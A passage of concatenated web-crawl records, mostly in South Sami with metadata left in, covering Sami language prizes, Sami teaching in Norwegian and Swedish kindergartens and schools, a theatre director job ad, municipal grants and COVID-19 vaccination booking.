åvteste åarjelsaemien gïelen åvteste.Jonar Thomasson\nSoemesne justijseministere Anna-Maja Henriksson baalhkavitnijidie bæjhkoehti daan biejjien Helsinkisnie tjåanghkosne gaskem Nöörjen, Sveerjen jïh Soemen ministerh saemien aamhtesi åvteste jïh saemiedigkiepresidenth.\n– Vaajmoste jïjnjh gæjhtoeh gåabpatjahkide mah baalhkam dåastoeh sijjen vyörtegs barkoen åvteste juktie saemien gïelh eevtjedh. Manne vaajtelem Pautamon jïh Thomassonen barkoe ïedtjem lutnjie saemien gïeli jïh kultuvren åvteste, jïh mijjem skreejrehte dejtie aarvoem vedtedh, Soemesne justijeministere Anna-Maja Henriksson jeahta.\nEllen Pautamo lea akte dejstie ellen vihkielommes almetjijstie juktie maajhööhpehtimmiem saemien gïelide evtiedidh. Dïhte lektovrine barka saemien gïelen jïh kultuvren åvteste virtualskuvlesne Saemien ööhpehtimmiejarngesne. Pautamo lea tjiehpies, kreatijve jïh skreejrije lohkehtæjja mij aaj lohkehtæjjaööhpehtæjjine barka.\nJonar Thomasson lea gïelemaehtehtje jih lyjhkedihks gïelegaaltije mij dovne saemien gïelem jïh dååjrehtimmieh saemien kultuvreste jïh histovrijistie buakta. Thomasson lea vaarjelimmien jïh evtiedimmien åvteste barkeme saemien gïelijste viehkine åarjelsaemien gïelem goerehtalledh. Sov gærjesne Mojhtsijstie lea soptsesh, baakoeh jïh baakoetjïerth tjöönghkeme åarjelsaemien gïelesne.\nBaalhka lea 15 000 euro. Daan jaepien göökte baalhkadåastojh guktie baalhka juakasåvva Pautamon jïh Thomassonen gaskem.\nEllen Pautamo\nUlla Isotalo","id":"","dump":"CC-MAIN-2020-50","url":"https:\/\/sametinget.no\/saernieh\/ellen-pautamo-jih-jonar-thomasson-saemien-gielebaalhkam-gulliegiele-aadtjoeh.8606.aspx","date":"2020-11-30T05:16:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141205147.57\/warc\/CC-MAIN-20201130035203-20201130065203-00228.warc.gz","language":"sma","language_score":0.9999781847,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999781847000122}","num_words":183,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.18,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemien\nSaemien gïele jïh kultuvre maanagïertesne\nMaam maahtam maanagïerteste veanhtadidh?\nTjïelth saemien reeremedajven ålkolen edtjieh sjïehteladtedh saemien maanah maehtieh sijjen gïelem jïh kultuvrem gorredidh jïh evtiedidh. Maanagïertelaake maanagïertide stillie maanaj aalterem, funksjovnedaltesem, tjoelem, sosijaale, etnihkeles jïh kulturelle maadtoem krööhkestidh, daan nuelesne saemien maanaj gïelem jïh kultuvrem. Daate aaj ILO-konvensjovnen mietie nr. 169 Bielie IV maam Nöörje lea ratifiseereme.\n«Saemien maanah maanagïertesne edtjieh dåarjoem åadtjodh sijjen gïelem, sijjen daajroem jïh sijjen kultuvrem vaarjelidh jïh evtiedidh saaht gusnie laantesne dah årroeh. Edtja sisvegem maanagïertefaalenassesne saemien maanide saemien dajvi ;ålkoli sjïehtedidh maanaj saemien maadtose. Dan gaavhtan saemien maanah jïh eejhtegh reaktam utnieh veanhtadidh maanagïerten barkijh daejrieh, jïh tjïertestieh, aaj saemien kultuvre edtja bieline årrodh maanagïerten sisvegistie. Edtja sjïehteladtedh maanah aaj maehtieh saemien gïelh govledh jïh vuejnedh.» (Mieriesoejkesje, Udir, 2017, s. 25).\nGaajhkh maanagïerth maehtieh dåarjoem Saemiedigkeste ohtsedh juktie gïelelïerehtimmiem faalehtidh åarjel-\/julev- jïh noerhtesaemien gïelesne maanide ektievoetesne. Gaskesadtede Byjjenimmien jïh ööhpehtimmien faageektievoetine jis onterdh mah maanagïerth mah saamastallije maanah utnieh.\nSaemien maanagïertegoevtese\nMïetsken 1.b. 2017 Tråanten tjïelte staaren voestes saemien maanagïertefaalenassem rïhpesti Ferista friluftsbarnehage\/ålkoemaanagïertesne. Gaskesadtede ektievoeten åvtehkinie jis sijjiem sïjhth saemien maanagïertefaalenassesne, lissine kroessem bïejedh dïsse mïerhkesjimmiesæjjan maanagïerteohtsemisnie. Maanagïerten leah barkijh jïh maanah dovne noerhte- jïh åarjelsaemien gïeline 2020\/2021.\nFerista gålkoemaanagiertie jarngefunksjovnem åtna jeatjah maanagïertide. Daate sæjhta jiehtedh dah bïhkedieh, bievnieh jïh saemien kultuvren bïjre soptsestieh sïejhme staaren maanagiertide jïh joekoen maanagiertide saemien maanajgujmie.\nSaemien gïelelïerehtimmie maadthskuvlesne\nTråanten tjïelte ööhpehtimmiem faalehte saemien gïelesne Ööhpehtimmielaaken mietie § 6-2. Gaajhkh saemien learohkh maadthskuvleaaltarisnie mah saemien dajvi ålkoli årroeh, reaktam utnieh saemien gïelelïerehtimmiem åadtjodh. Tjïelte maahta nænnoestidh gïelelïerehtimmiem akten jallh jieniebidie skuvlide bïejedh tjïeltesne. Datne goh eejhtege\/åelie tjoerh skuvline gaskesadtedh mesnie dov maana vaadtsa juktie buektiehtidh lïerehtimmiefaalenassem öörnedh. Learohkh noeredaltesisnie jïjtjh muenieh mejtie saemien gïelelïerehtimmiem jallh lïerehtimmiem saemien gïelesne sijhtieh.\nMaahta raajan aktem jaepiem vaesedh åvtelen lïerehtimmie aalka, jïh daate lea jearohke barkoefaamoste voenges lohkehtæjjan luvnie jallh maajhööhpehtimmiefaalehtæjjan luvnie. Eejhtegh maanajgujmie mah edtjieh skuvlem aelkedh byöroeh skuvlese bievnedh jis saemienlïerehtimmiem daarpesjieh njoktjen 15. b. Åvtelen juktie hoksedh lïerehtimmie aalka gosse skuvle aalka. Jis unnemes 10 learohkh mah abpe lïerehtimmiem saemiengïelesne sijhtieh, tjïelten lea dïedte dam faalehtidh.\nTjïelte maahta saemienlïerehtimmiem faalehtidh voenges lohkehtæjjine, maajhööhpehtimmien tjïrrh, goh hospiteereme jallh kombinasjovne daejstie. Learohkh mah maajhööhpehtimmiem saemiengïelesne åadtjoeh aktem jallh göökte hospiteeremeboelhkh åadtjoeh fïerhten jaepien, jearohke mejtie dej lea saemien voestesgïeline jallh ij.\nLearohkh mej saemien mubpiengïeline, reaktam utnieh 87 jaepietæjmojde maanadaltesisnie jïh 76 jaepietæjmoeh noeredaltesisnie. Dah learoesoejkesjem saemien 2 fulkieh jis saemien gïeline aelkieh 1.-4. daltesisnie, jallh saemien 3 jis aelkieh 5. – 10. daltesisnie. Learohkh mej saemien voestesgïeline learoesoejkesjem 1 fulkieh jïh reaktam utnieh 160 jaepietæjmojde smaavedaltesisnie, 105 jaepietæjmoeh gaskedaltesisnie jïh 95 jaepietæjmoeh noeredaltesisnie.\nJis learohken leah göökte voestesgïelh, jallh saemien mubpiengïeline åtna, learohken lea reakta lïerehtimmiem jïh vuarjasjimmiem slyöhpedh baaltegïelesne. Laakh mah eksamenem stuvrieh lïerehtimmielaaken mieriedimmesne gaavnh, mearan bïevnesh sïjsebïeljelimmien, tjïrrehtimmien jïh sensuvren bïjre gaavnh Udiren sæjrojne. Tipse åtnoen bïjre saemien gïeleste jïh kultuvreste maanagïertine jïh skuvline.\nTjïelten faalenasse 2020\/2021\nÅarjelsaemien\nSkuvlejaepien 2020\/2021 ibie naan learohkh utnieh mah lïerehtimmiem åarjelsaemien gïelesne sijhtieh. Gaskesadth dov lïhkes skuvline jis lïerehtimmiem saemiengïelesne sïjhth. Tjïelten lea laavenjostoe Åarjelsaemien vierhtiesåafojne ööhpehtimmiem faalehtidh.\nNoerhtesaemien\nSkuvlejaepien 2020\/2021 tjïelte voenges ööhpehtimmiem faalehte learoehkidie maanadaltesisnie jïh maajhööhpehtimmiem learoehkidie noeredaltesisnie(laavenjostosne Guovdageaidnune jïh Saemien vierhtiesåafojne). Jakobsli skuvle iktedimmiedïedtem åtna voenges ööhpehtimmien åvteste noerhtesaemien gïelesne.\nJulevsaemien\nSkuvlejaepien 2020\/2021 tjïelte maajhööhpehtimmiem faalehte laavenjostosne Bådåddjon tjïeltine dan åvteste voenges lohkehtæjja fååtese.\nStaaren saemien aktööri gaskesadtemebïevnesh\nSamer i Trondheim Facebookesne\nSaemien studeenth Tråantesne Facebookesne\nSaemien Sijjie Facebookesne\nSaemien eejhtegeviermie lea tseegkemisnie Tråantesne\nSist oppdatert: 05.02.2021","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/www.trondheim.kommune.no\/tema\/barnehage\/generelt\/samiskopplaring-i-skoler-og-barnehager\/aarjelsaemien\/","date":"2021-03-02T20:12:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178364764.57\/warc\/CC-MAIN-20210302190916-20210302220916-00069.warc.gz","language":"sma","language_score":1.0000052452,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000052452087402}","num_words":536,"character_repetition_ratio":0.094,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.159,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Reaktoe saemien lïerehtæmman jåarhkeskuvlesne\nGaajhkh saemien learohkh jåarhkelïerehtimmesne reaktoem utnieh lïerehtimmiem åadtjodh saemien gïelesne saaht gusnie laantesne årroeminie. Skuvleaajhteren lea dïedte bïhkedidh jïh bievnedh learoehkidie jïh eejhtegidie mah gyhtjelassh utnieh saemien lïerehtimmien bïjre, jïh lïerehtimmiem saemien gïelesne vedtedh dejtie mah reaktoem dïsse utnieh. Gaajhkh skuvleaajhterh edtjieh saemien lïerehtimmiem faalehtidh saemide jåarhkeskuvlesne.\nDaate sæjhta jiehtedh:\n• Learohkh (eejhtegh) åadtjoeh veeljedh mennie gïelesne dah edtjieh lïerehtimmiem utnedh – noerhtesaemien, julevsaemien jallh åarjelsaemien.\n• Edtja lïerehtimmiem soejkesjih Learoesoejkesjevierhkien mietie Maahtoelutnjeme – Saemien.\n• Learohken lea reaktoe lïerehtimmiem åadtjodh saemien gïelesne jalhts learohke ij leah ööhpehtimmiem saemien gïelesne åtneme maadthskuvlesne.\n• Skuvleaajhtere tjuara jeatjah lïerehtimmiem faalehtidh (vuesiehtimmien gaavhtan maajhööhpehtimmie) dastegh dah eah lohkehtæjjah sjyöhtehke maahtojne utnieh.\n• Learohkh mah lïerehtimmiem åadtjoeh saemiengïelesne voestes- jallh mubpiengïeline eah edtjh lïerehtimmiem utnedh ammesgïelesne jïh doh seamma learohkh eah edtjh lïerehtimmiem utnedh tjaaleldh baaltegïelesne.","id":"","dump":"CC-MAIN-2021-10","url":"http:\/\/lohkanguovddas.no\/sma\/giele-lierehtimmie\/jaarehkeskuvle\/reaktoe-saemien-lierehtaemman-jaarhkeskuvlesne","date":"2021-03-05T20:08:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178373241.51\/warc\/CC-MAIN-20210305183324-20210305213324-00527.warc.gz","language":"sma","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000090599060059}","num_words":129,"character_repetition_ratio":0.127,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.155,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2.gangs utlysning.\nÅarjelhsaemien teater søker teatersjef\nSom teatersjef ved Åarjelhsaemien Teatere blir du øverste leder for vår kjernevirksomhet med formidling og produksjon av nyskapende samisk scenekunst. Du blir daglig leder for 3 medarbeidere. Teateret er nå inne i en spennende fase med produksjoner knyttet mot europeisk kulturhovedstad Bodø 2024.\nVi ønsker oss kandidater som:\n- har interesse for samisk teater\n- Har en tydelig kunstnerisk visjon og teaterfaglig kompetanse\n- Har kompetanse og erfaring innen organisasjon og ledelse\n- Ha kjennskap og erfaring med kulturpolitiske prosesser, som søknads- og nettverksarbeid\n- Har praktisk forståelse for både økonomiske og strategiske perspektiver\n- Evner å ha et helhetlig perspektiv på hva Åarjelhsaemien teatere er og bør inneholde nå og i fremtiden\n- Beherske digitale verktøy\n- Kjennskap til samisk kultur og språk, men det er ikke et krav\nPersonlige egenskaper:\nI valget av ny teatersjef vil personlige egenskaper være avgjørende. Vi vektlegger personlig og faglig integritet, og det er viktig at du tør å utfordre både internt og eksternt.\nVi er på utkikk etter deg som er:\n- kreativ og visjonær i tenkning og modig i dine valg\n- varm i møte med dine medmennesker\n- utadvendt og komfortabel med å være et tydelig ansikt både innad og utad for teateret\n- relasjonell, åpen og inkluderende — for ulike typer mennesker og institusjoner\n- en spiss for laget — og en lagspiller — på samme tid\n- strukturert\n- utviklingsorientert, samt tar vare på tradisjonene i Åarjelhsaemien teatere\nStillingstittel: Teatersjef — kunstnerisk og daglig leder. Ansettelse periode: 01.01.22 — 31.12.25 Arbeidssted: Mo i Rana *Men det må påregnes noe reisevirksomhet Ansettelsesform: Åremål på 4 år\nPraktiske opplysninger:\nFor spørsmål om stillingen kontakt: Styreleder: Svein Ole Granefjell, tlf 41 23 72 80\nSpørsmål relatert til det kunstneriske ved stillingen kontakt : Ansatterepresentant: Leammuid Biret Ràvdnà, e-post: email@example.com, tlf 941 76 440\nSøknad med CV sendes styreleder : firstname.lastname@example.org\nSøknadsfrist: 31.august 2021\nOm arbeidsgiver:\nÅarjelhsaemien Teatere arbeider for å fremme og utvikle sørsamisk scenekunst. Sørsamisk språk og kultur står sentralt i alt arbeid. Teatret fortsetter det historiske samarbeidet med det sørsamiske området på svensk side, og er et teater for hele det sørsamiske området i Norge. Teateret arbeider med profesjonelle kunstnere, amatører, andre teatre, norske- og samiske skoler. I 2012 skiftet vi organisasjonsform til AS, og eies av Sametinget, Nordland Fylkeskommune og Rana Kommune.\nÅarjelhsaemien Teatere teaterenåejviem åhtsa\nGoh teaterenåejvie Åarjelhsaemien Teaterisnie datne bijjemes åejvine sjïdth mijjen maadthgïehtelimmien åvteste bievnieminie jïh produksjovnine orresjugneden saemien scenetjeahposte. Datne biejjieladtje åejvine sjïdth 3 meatanbarkijidie.\nTeatere lea daelie gieltegs boelhken sisnjelen produksjovnigujmie mah leah vïedteldihkie europan kultuvreåejviestaarese Bodø 2024.\nMijjieh kandidaath vaajtelibie mah:\n• Tjïelke visjovnem tjeahpoen sisnjelen jïh teaterefaageles maahtoem utnieh\n• Maahtoem jïh dååjrehtimmiem utnieh organisasjovnen jïh stuvremen sisnjeli\n• Daajroem jïh dååjrehtimmiem utnieh kultuvrepolitihkeles prosessigujmie, goh ohtseme- jïh viermiebarkoe\n• Praktihkeles goerkesem utnieh dovne ekonomeles jïh strategeles perspektijvi bïjre\n• Maahta ellies perspektijvem utnedh mij Åarjelhsaemien teatere lea, jïh mij byöroe teateren sisveginie årrodh daelie jïh båetijen aejkien\n• Digitaale dïrregh haalvoeh\n• Eeremasth hijven daajroem utnieh saemien kultuvren jïh gïelen bïjre, men ij leah krïevenasse\nMijjieh datnem ohtsedibie guhte:\n• leah kreatijve jïh åvtese ussjedh jïh leah mavvas dov veeljeminie\n• baahke vaajmojne dov meatanalmetjh dåastoeh\n• leah daapeles jïh lyjhkh tjïelke ååredæjjine årrodh dovne teateren sisnjelen jïh ålkolen\n• relasjonelle, ræhpas jïh feerhmeles — joekehts såarhts almetjidie jïh institusjovnide\n• tjïerten njuenehke — jïh tjïertespealije — seamma tïjjen\n• struktuvren mietie barkh\n• evtiedimmiem jarngesne åtnah, jïh aerpievuekide Åarjelhsaemien teaterisnie gorredh\nBarkoetihtele: Teaterenåejvie — tjiehpeles jïh biejjieladtje åvtehke\nBarkoeboelhke: 01.01.22 — 31.12.25\nBarkoesijjie: Måehvie *Tjoerh veanhtadidh ånnetji fealadidh: Barkoeseehtemehammoe: Jaepiemierie 4 jaepieh.\nPraktihkeles bïevnesh:\nJis gyhtjelassh barkoen bïjre, gaskesadth ståvroen åvtehkem: Svein Ole Granefjell, tell. 41 23 72 80\nGyhtjelassh dan tjiehpeles barkoen bïjre gaskesadth barkijetjirkijem: Leammuid Biret Ràvdnà, e-påaste: email@example.com, tlf 941 76 440\nOhtseme CV:ine seedtesåvva diekie: firstname.lastname@example.org\nOhtsememierie: 31.08. 2021\nBarkoefaalijen bïjre\nÅarjelhsaemien teatere edtja åarjelsaemien scenetjeahpoem eevtjedh jïh evtiedidh. Åarjelsaemien gïele jïh kultuvre leah jarngesne abpe barkosne. Teatere dam histovrijes laavenjostoem jåarhka åarjelsaemien dajvine sveerjen bielesne, jïh lea teatere abpe åarjelsaemien dajvese Nöörjesne. Teatere profesjonelle tjiehpiedæjjajgujmie, amatöörigujmie, jeatjah teaterigujmie, nöörjen jïh saemien skuvligujmie ektine barka. Jaepien 2012 organisajovnehammoem målsoejimh jïh AS sjïdtimh, jïh aajhterh leah Saemiedigkie, Nordlaanten fylhkentjïelte jïh Raanen tjïelte.Se stillingen på NAV","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/heilehelgeland.no\/stillinger\/det-forste-steget-til-broadway-teaterenaejvie-teatersjef\/","date":"2021-08-03T08:23:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046154432.2\/warc\/CC-MAIN-20210803061431-20210803091431-00113.warc.gz","language":"sma","language_score":0.9423438907,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9423438906669617, \"sme_Latn_score\": 0.029477473348379135, \"nob_Latn_score\": 0.02718152105808258}","num_words":635,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.182,"stopwords_ratio":0.072,"flagged_words_ratio":0.0,"lang_id_score":0.962,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie barka ihke saemieh edtjieh åadtjoeh sijjen gïelem, sijjen kultuvrem jïh sijjen siebriedahkejieledem gorredidh jïh evtiedidh.\nSaemiedigkieveeljeme seamma boelhken goh stoerredigkieveeljeme. Jaepien 2021 lea veeljemebiejjie måanta skïereden 13.b.\nDaan giesien guessieh Saemiedægkan maehtieh tjoeje-vuesiehtimmiem åadtjodh appen tjïrrh jïjtsh mobijlesne. Dïenesje namhtah jïh maahta åtnasovvedh saaht gåessie. Gaajhkesh maehtieh tjoejevuesiehtimmiem nuhtjedh appen tjïrrh Voice of Norway. Lohkh vielie dïenesjen bïjre.\nSaemiedigkie pråvhka vuesiehtimmieh tjïrrehtidh, men suetievaarjelimmien gaavhtan libie gaajhkh sïejhme vuesiehtimmieh annjebodts heajhteme. Mïnnh mijjen digitaale vuesiehtimmesne.","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/sametinget.no\/?sprak=14\/","date":"2021-08-02T11:24:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046154320.56\/warc\/CC-MAIN-20210802110046-20210802140046-00226.warc.gz","language":"sma","language_score":0.9999980927,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999980926513672}","num_words":75,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.067,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hei! Saemien tsïeglh 2021\/2022: Ane Malene Nordeng, Nathaniel Holan Larsen, Ida Emilie Marakatt Lindseth jih Emma Elliane Oskal Valkeapää. Daesnie maahtah vielie lohkedh dej orre saemien tsïegli bïjre juktie buerebelaakan dejgujmie åahpenidh. Diedtieh daase juktie vielie vuejnedh Ida Emilie Marakatt Lindseth 19 jaepie Lillestrøm Dåeredh mijjem Snapchatesne Goerehth kaarhtem Láhppi Mátta-Várjjat Deatnu\/Buolbmát Unjárga Kárášjohka Guovdageaidnu Jáhkovuotna Gárasavvon","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/samiskeveivisere.no\/sma\/","date":"2021-09-26T04:07:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057796.87\/warc\/CC-MAIN-20210926022920-20210926052920-00567.warc.gz","language":"sma","language_score":0.9683225751,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9683225750923157, \"sme_Latn_score\": 0.02940787374973297}","num_words":55,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.073,"flagged_words_ratio":0.0,"lang_id_score":0.984,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Upmejen tjïelte dåarjoem vadta tjilkeme åesiem gåetiej sjiehtesjimmidie. Dåarjoe edtja nuhtjedh dejtie darjomidie mestie svihtjeme-heaptoje almetjasse nuepiem vadta gåetesne orre. Maahta dåarjoem gaajhkh såarhts svihtjeme-heaptomidie jïh ij baalhkan mietie pryövh. Åålegh tjuara riekte sievem darjomistie jïh svihtjeme-heaptomasse. Ij åadtjoeh dåarjoem boelhketjen svihtjeme-heaptomasse mestie krievie gåetiem sjiehtesje.\nDåarjoe oktegh persovnese vadta. Gåetieluhpie- jallh årromereaktagåetide sjiehtede dellie gåetiesijjen aajhtere tjuara dam siemedidh.\nTjïelten lea ohtsemesoejkesh jïh ohtsemem dååste. Dajvebarkoeterapeute dov såjhtoecentralesne ohtsemem viehkehte gosse vihtesjimmiem ohtsede. Tjïelten gïetedallije bïevnesh vadta mah ohtsemem gelkieh dåeriedidh.\nBïgkememoenehtse dåarjoem nænnoste. Jis dam åadtjoeh dellie beetnegh åadtjoeh gosse barkoem galhkeme.\nJis jeenjebh bïevnesh daarpesjh, dajvebarkoeterapeutem dov såjhtoecentralesne bieljeldh jallh tjïelten gïetedallijem siebredahkebïgkemekontovresne, telefovne 090-16 23 06, jallh e-påastem email@example.com seedth.","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/www.umea.se\/kommunochpolitik\/languages\/samiengiallije\/sosiaalenhoksehtimmieh\/gaetiesjiehtesjimmie.4.333c64e217718860a231136.html","date":"2021-09-17T00:46:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780053918.46\/warc\/CC-MAIN-20210916234514-20210917024514-00552.warc.gz","language":"sma","language_score":0.9999982119,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999982118606567}","num_words":111,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.045,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije\nFormaate\nGaskeviermiesæjroe\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nOAHPA! lea gaskeviermie-vierhtie saemiengïeleööhpehtæmman.\nOAHPA! Lea gaskeviermieprogramme noeride jïh geerve almetjidie gïeh noerhtesaemiengïelem lïereminie.\nOAHPA! faala:\nLearohkh åadtjoeh sïejhme baakoeh aalkoeööhpehtimmesne lïeredh jïh muvhtine vierhtine maahta baakoeh sjïere gærjese veeljedh. Jis learohkh sjïere aamhtesinie berkieh, dellie gåarede aaj baakoelæstoeh aamhtesi mietie darjodh.","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/ovttas.no\/sma\/digitala-resursa_oahpa-bures-boahtin","date":"2021-09-18T05:15:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780056297.61\/warc\/CC-MAIN-20210918032926-20210918062926-00136.warc.gz","language":"sma","language_score":1.0000059605,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000059604644775}","num_words":51,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.124,"stopwords_ratio":0.118,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aarhskuvle\nKraapohken tjïelte saemien reeremetjïelte tsiengelen 1: biejjien 2012 sjïdti. Naemhtie ahte saemien maanah reaktam utnieh aarhskuvledarjose abpe jallh vihkeles biehkie saemiengïelesne naemhtie guktie Laakesne Nasjonelle unnebelåhkoe- jïh unnebelåhkoegïeli bïjre tjåådtje, SFS 2009:724.\nKraapohken tjïelte edtja sijjem aarhskuvlesne faaledh gusnie abpe jallh vihkeles biehkiem darjosne saemiengïelesne darjoen jis maana\/maanan åelie vaajtele. Tjïeltesne saemienprofileereme aarhskuvledarjoem Kraapohkisnie darjoen aarhskuvlegoevtesisnie Björnen jïh Båargese, pedagogihke hoksesne.\n4 § gïelelaakesne (2009:600) tjåådtje ahte siebriedahke sjïere dïedtem utnieh vaarjelidh jïh evtiedidh dah nasjonelle unnebelåhkoegïelide.\nSiebriedahke edtja aaj evtiedidh dah nasjonelle unnebelåhkoej nuepieh ihke utniehtidh jïh övtiedidh dej kultuvrem Sveerjesne. Maanaj övtiedimmie kulturelle identiteeteste jïh nuhtjemem altese unnebelåhkoegïeleste edtja sjïere evtiedidh.\nSFS 2009:724, 17 § Reaktam aajne almetjasse såemies aejkien aarhskuvlem faaledh jïh aaj jeatjah pedagogihke hokse såevmiengïelesne, meängïelesne jallh saemiengïelesne regleeren 8 kap 12 a § och 25 kap. 5 a § skuvlelaakesne(2010:800).\nSkuvlelaake 8 kap. Aarhskuvle nasjonelle unnebelåhkoegïeline\n12 a § Akte hïejmetjïelte mij reeremedajvesne lea numhtie guktie laakesne(2009:724)nasjonelle unnebelåhkoej bïjre jïh unnebelåhkoegïeli bïjre tjåådtje edtja maanam faaledh gosse åelie vaajtele, sijjiem aarhskuvlesne gusnie abpe jallh vihkeles biehkie ööhpehtimmesne såevmiengïelesne, meängïelesne jïh saemiengïelesne darjohten..\nÅelie mij aarhskuvlesijjien mietie altese maanese syökoe edtjieh gihtjedh jis vaajtele sijjem mij voestes biehkesne tjåådtje.\nSkuvlelaake 25 kap. Jeatjah pedagogihke darjoe\n5a§ Akte tjïelte mij reeremedajvesne guktie laakesne nasjonelle unnebelåhkoealmetji bïjre jïh unnebelåhkoegïeli bïjre (2009:724) tjåådtje jïh darjoem åtna mij 2 jallh 5 § tjåådtje edtja tjohtjedh ihke maanam faaledh jis åelie bihkede, sijjiem gusnie abpe jallh vihkeles biehkie darjosne såevmiengïelesne, meängïelesne jïh saemiengïelesne lea.\nJis tjïelte darjoem faala guktie 2 jallh 5§ tjåådtje edtja åeliem gihtjedh mij darjoen mietie syökoe jis sijjiem darjosne sæjhta utnedh mij såevmiengïelesne, meängïelesne jïh saemiengïelesne lea.\nJis akte tjïelte mij reeremedajvesne, gaahpode aarhskuvlem öörnie naemhtie guktie 3 § tjåådtje edtja tjïelte, jis almetjh dan mietie gihtjieh, tjohtjedh ihke abpe jallh vihkeles biehkiem darjosne faaledh såevmiengïelesne, meängïelsene jïh saemiengïelesne.\nSkuvlelaake 8 kap. Ietniengïele\nAarhskuvle edtja meatan årrodh juktie maanah jeatjah ietniengïeline goh daaroengïele nuepiem åadtjoeh gåabpegh daaroengïelem jïh saemiengïelem övtiedidh.","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/www.dorotea.se\/saepmie\/aarhskuvle-foerskola\/aarhskuvle\/","date":"2021-09-21T08:57:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057199.49\/warc\/CC-MAIN-20210921070944-20210921100944-00184.warc.gz","language":"sma","language_score":0.999985218,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999852180480957}","num_words":297,"character_repetition_ratio":0.112,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.098,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dïhte dov regiovne mij dïedtem vaksinasjovnen åvteste åtna. Veeljh regiovnem bijjemes sæjrosne guktie vielie bïevnesh åadtjoeh mij faamosne gusnie datne leah.\nDatne ih daarpesjh maeksedh vaksijnasjovnen åvteste covid-19:n vööste.\nDatne jïjtje veeljh jis edtjh vaksineeredh.\nDængkoeh tïjjem gosse vaksineeredh\nFolkhälsomyndigheten leah raeriestamme öörnegem guktie ovmessie almetjidie edtja vaksinasjovnem faalehtidh.\nGaajhkide almetjidie gïeh 18 jaepieh jallh båarasommes vaksinasjovnem faalehte. Datne ih daarpesjh sveerjen otnjege årrodh juktie vaksijnem åadtjodh.\nDatnem juvnehte vaksineeredh læjhkan jis covid-19:m utnih.\nVaksinasjovne covid-19 vööste Jönköpingen leenesne\nDatne maahtah jïjtje tæjmoem gaskeviermesne jallh håksoejarngesne dangkodh.\nDangkoeh tïjjem gaskeviermesne!\nJis sïjhth gaskeviermesne tïjjem dangkodh, dle tjoerh sveerjen almetjenommerem utnedh, jis ih dam utnieh, dle tjoerh håksoejarngese ringkedh tæjmoem dangkodh. Ih daarpesjh e-legimitasjovnem gosse tæjmoem dangkoeh.\nJis tjoerh viehkiem jarkoestimmine utnedh, dle maahtah gïem meatan vaeltedh mij maahta daaroestidh.\nGosse tæjmoem dangkoeh, dle tjoerh naan gïlle gyhtjelassh dan dov healsoen bïjre vaestiedidh, daate dïhte healsoetjaalege. Gyhtjelassh mejtie gaajhkem tööllh jïh mejtie datne aarebi vaksijnem töölleme jallh ij.\nLohkh vielie guktie vaksijnetæjmoem gaskeviermesne dangkoeh (teekste daaroengïelesne)\nDankoeh tïjjem telefovnen tjirrh\nJis ih maehtieh tæjmoem gaskeviermesne dangkodh, 